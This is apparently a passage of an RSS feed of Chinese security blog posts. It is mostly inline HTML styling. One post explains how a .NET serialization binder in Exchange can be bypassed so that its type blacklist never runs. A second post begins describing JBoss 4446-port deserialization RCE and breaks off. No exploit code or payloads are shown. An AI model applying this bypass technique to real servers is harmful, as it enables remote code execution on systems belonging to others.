border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">本地没有环境，直接用原作者的图了</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img class="rich_pages wxw-img" data-backh="92" data-backw="319" data-ratio="0.28888888888888886" title="null" data-type="png" data-w="765" style="box-sizing: border-box;margin: 0.5em auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e2514a1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzY4NST4IeSN329LNXOibXnwsBlaM0SK1EyPe34sVNwurOXCpcvbliaqsOg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">exchange的binaryformatter都用到了ChainedSerializationBinder，上图是其实现。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在InternalBindToType返回空值时，不进行ValidateTypeToDeserialize导致黑名单完全不起作用。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">InternalBindToType转发到LoadType函数<img class="rich_pages wxw-img" data-backh="689" data-backw="562" data-galleryid="" data-s="300,640" data-w="765" data-type="png" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-ratio="1.2248366013071896" src="https://wechat2rss.xlab.app/img-proxy/?k=e18ed104&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYA8eIRtdzj0OsOlts2Czk9mWRpxN1VSy4vYQRmLuPInqd4Nhe4u7O9A%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">通过重写GetObjectData让序列化时自定义AssemblyName和FullTypeName</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img class="rich_pages wxw-img" data-backh="31" data-backw="319" data-ratio="0.09634551495016612" title="null" data-type="png" data-w="602" style="box-sizing: border-box;margin: 0.5em auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1642a48c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYZPZutFSnMUFY3soH40sV95rbKlYkbkQV4Oialc4GAJU5F7ZiaUm1dDMw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">这样在LoadType的<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">Type.GetType(string.Format(&#34;{0}, {1}&#34;,typeName,assemblyName))</code>就会抛出异常<img class="rich_pages wxw-img" data-backh="254" data-backw="562" data-galleryid="" data-s="300,640" data-w="654" data-type="png" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-ratio="0.4525993883792049" src="https://wechat2rss.xlab.app/img-proxy/?k=b731acf1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYFUwU4zhKzXD60shJw3mFxW2gQPQLAbaRw1iawibtapz2uq5z2ibw4Txyw%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">抛了异常但是被catch捕获之后相当于LoadType返回了null，那么接着ValidateTypeToDeserialize失效，从而交由FastBindToType获取type，绕过了binder。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">总结</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">当binder返回null值时，binder对反序列化的类型校验不起作用。</p><h3 style="box-sizing: border-box;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0.1em 8px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;border-left: 4px solid rgb(248, 57, 41);">References</h3><p style="box-sizing: border-box;margin: 0.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12px;opacity: 0.6;">[1]</code> 这篇文章: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html" target="_blank">https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html</a></em></p><section style="margin-bottom: 0px;"><br/></section><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.75rem;orphans: 4;margin-bottom: 1.25rem;color: rgb(17, 17, 17);font-size: 1rem;white-space: pre-wrap;text-align: center;"><span md-inline="code" spellcheck="false" style="font-size: 1rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">分享、点赞、</span>在<span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">看就是对我们的一种支持！</span></span></span></span></span></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages js_insertlocalimg wxw-img" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d8806ef3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibp8YjH4BpZodsIJmZOG8Cc3sbuM3IMcxPurjryDzTA8WTHZTNIXvP1SUVvWh0PzSTxssDxmwydNrQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247486350">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=80fe5beb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486350%26idx%3D1%26sn%3D83882fae2fc826ca74a9f7d6c86a5ec0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 05 Jul 2022 14:38:00 +0800</pubDate>
    </item>
    <item>
      <title>JBoss EAP/AS &lt;= 6.* RCE及rpc回显</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486329&amp;idx=1&amp;sn=01fba9757726fb58fad00ac13ec7567c</link>
      <description>小贼看剑下次偷文章的时候麻烦先问下作者是否允许，我还以为作者投敌了呢！前言image.png这个洞是在国外A</description>
      <content:encoded><![CDATA[<p>
<span>ChaBug</span> <span>2022-07-01 11:22</span> <span style="display: inline-block;">四川</span>
</p>

<p>小贼看剑下次偷文章的时候麻烦先问下作者是否允许，我还以为作者投敌了呢！前言image.png这个洞是在国外A</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ac86c03f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibru9dcMzygLM38UhxicJN3mb2ESx34tFO6GySqkA24bsWn3hTJdbeGQUh5xuEAzgkoq8Cl8sZhiaB2g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;margin-bottom: 0em;"><br/></p><h1 style="box-sizing: border-box;margin: 0px auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">小贼看剑</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">下次偷文章的时候麻烦先问下作者是否允许，我还以为作者投敌了呢！</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8488830486202366" data-s="300,640" style="" data-type="png" data-w="761" src="https://wechat2rss.xlab.app/img-proxy/?k=bc5060a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mb4ZNa5hUJj9nYFzLfXHeomAcfWfdLukibB2UPqvdj0YcEciceBVoGA7Hg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">前言</h1><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img class="rich_pages wxw-img" data-backh="519" data-backw="562" data-galleryid="" data-ratio="0.9228130360205832" data-s="300,640" style="text-align: center;width: 100%;height: auto;" data-type="png" data-w="583" src="https://wechat2rss.xlab.app/img-proxy/?k=b0ee5d08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbjYBnHrsoolZCiaPLxAyKfOtJ9IoXEffAalictVWO1hZ7Dd17kPTmfQ1w%2F640%3Fwx_fmt%3Dpng"/></figure><p><br/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;text-align: justify;"></span></figure><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">这个洞是在国外Alligator Conference 2019会议上的一个议题，ppt在这里 <a href="https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf" target="_blank">https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf</a></p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">议题中讲到了jboss的4446端口反序列化rce，和一条jndi注入的gadget。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">反序列化rce</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">jboss默认会开几个端口</p><table style="box-sizing: border-box;margin: 0px 0px 10px;padding: 0px;border-collapse: collapse;display: table;width: 335px;color: rgb(0, 0, 0);font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: 